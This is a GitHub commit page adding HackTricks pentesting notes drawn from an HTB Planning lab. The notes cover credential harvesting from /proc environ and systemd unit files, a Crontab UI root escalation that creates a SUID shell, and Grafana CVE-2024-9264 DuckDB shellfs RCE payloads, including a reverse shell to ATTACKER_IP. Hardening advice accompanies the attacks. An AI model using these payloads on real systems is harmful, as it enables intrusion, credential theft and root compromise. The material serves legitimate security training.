Skip to content

Commit 18df7fb

Browse files
authored
Merge pull request #1403 from HackTricks-wiki/update_HTB_Planning__Grafana_CVE-2024-9264_to_Container_R_20250913_182406
HTB Planning Grafana CVE-2024-9264 to Container Root, Env-Cr...
2 parents e92ade1 + 167b063 commit 18df7fb

3 files changed

Lines changed: 143 additions & 1 deletion

File tree

src/linux-hardening/linux-post-exploitation/README.md

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,8 +77,54 @@ gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
7777
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
7878

7979

80+
## Harvesting credentials from process environment (containers included)
81+
82+
When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
83+
84+
Quick wins
85+
- Dump your current process env: `env` or `printenv`
86+
- Dump another process env: `tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'`
87+
- Add `strings -z /proc/<PID>/environ` if `tr`/`sed` aren’t handy
88+
- In containers, also check PID 1: `tr '\0' '\n' </proc/1/environ`
89+
90+
What to look for
91+
- App secrets and admin creds (for example, Grafana sets `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD`)
92+
- API keys, DB URIs, SMTP creds, OAuth secrets
93+
- Proxy and TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`, `SSL_CERT_DIR`
94+
95+
Notes
96+
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
97+
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.
98+
99+
## Systemd-stored credentials in unit files (Environment=)
100+
101+
Services launched by systemd may bake credentials into unit files as `Environment=` entries. Enumerate and extract them:
102+
103+
```bash
104+
# Unit files and drop-ins
105+
ls -la /etc/systemd/system /lib/systemd/system
106+
# Grep common patterns
107+
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
108+
# Example of a root-run web panel
109+
# [Service]
110+
# Environment="BASIC_AUTH_USER=root"
111+
# Environment="BASIC_AUTH_PWD=<password>"
112+
# ExecStart=/usr/bin/crontab-ui
113+
# User=root
114+
```
115+
116+
Operational artifacts often leak passwords (e.g., backup scripts that call `zip -P <pwd>`). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
117+
118+
Hardening
119+
- Move secrets to dedicated secret stores (`systemd-ask-password`, `EnvironmentFile` with locked perms, or external secret managers)
120+
- Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
121+
- Rotate leaked passwords discovered during tests
122+
123+
80124
## References
81125

126+
- [0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
127+
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
82128
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
83129
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
84130

src/linux-hardening/privilege-escalation/README.md

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -376,6 +376,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
376376

377377
## Scheduled/Cron jobs
378378

379+
### Crontab UI (alseambusher) running as root – web-based scheduler privesc
380+
381+
If a web “Crontab UI” panel (alseambusher/crontab-ui) runs as root and is only bound to loopback, you can still reach it via SSH local port-forwarding and create a privileged job to escalate.
382+
383+
Typical chain
384+
- Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000`
385+
- Find credentials in operational artifacts:
386+
- Backups/scripts with `zip -P <password>`
387+
- systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
388+
- Tunnel and login:
389+
```bash
390+
ssh -L 9001:localhost:8000 user@target
391+
# browse http://localhost:9001 and authenticate
392+
```
393+
- Create a high-priv job and run immediately (drops SUID shell):
394+
```bash
395+
# Name: escalate
396+
# Command:
397+
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
398+
```
399+
- Use it:
400+
```bash
401+
/tmp/rootshell -p # root shell
402+
```
403+
404+
Hardening
405+
- Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions
406+
- Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords
407+
- Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile
408+
- Enable audit/logging for on-demand job executions
409+
410+
411+
379412
Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
380413

381414
```bash
@@ -1716,6 +1749,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
17161749
17171750
## References
17181751
1752+
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
1753+
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
1754+
1755+
17191756
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
17201757
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
17211758
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)

src/network-services-pentesting/pentesting-web/grafana.md

Lines changed: 60 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,66 @@
1010
- By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`**
1111
- `select user,password,database from data_source;`
1212

13-
{{#include ../../banners/hacktricks-training.md}}
13+
---
14+
15+
## CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
16+
17+
Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.
18+
19+
Impact
20+
- Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.
21+
- Preconditions commonly met in real deployments:
22+
- SQL Expressions enabled: `expressions.enabled = true`
23+
- `duckdb` binary present in PATH on the server
24+
25+
Quick checks
26+
- In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm:
27+
- `expressions.enabled` is true
28+
- Optional: version (e.g., v11.0.0 vulnerable), datasource types, etc.
29+
- Shell on host: `which duckdb` must resolve for the exploit path below.
30+
31+
Manual query pattern using DuckDB + shellfs
32+
- Abuse flow (2 queries):
33+
1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
34+
2) Read back the temp file using `read_blob`
1435

36+
Example SQL Expressions payloads that get passed to DuckDB:
37+
```sql
38+
-- 1) Prepare shellfs and run command
39+
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
40+
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
41+
-- 2) Read the output back
42+
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
43+
```
44+
Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.
1545

46+
One-liner reverse shell example
47+
```bash
48+
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
49+
```
50+
Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`.
1651

52+
Automated PoC
53+
- Public PoC (built on cfreal’s ten framework):
54+
- [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264)
55+
56+
Usage example
57+
```bash
58+
# Confirm execution context and UID
59+
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
60+
# Launch a reverse shell
61+
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
62+
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
63+
http://grafana.target
64+
```
65+
If output shows `uid=0(root)`, Grafana is running as root (common inside some containers).
66+
67+
68+
## References
69+
70+
- [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/)
71+
- [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html)
72+
- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264)
73+
- [cfreal/ten framework](https://github.com/cfreal/ten)
74+
75+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)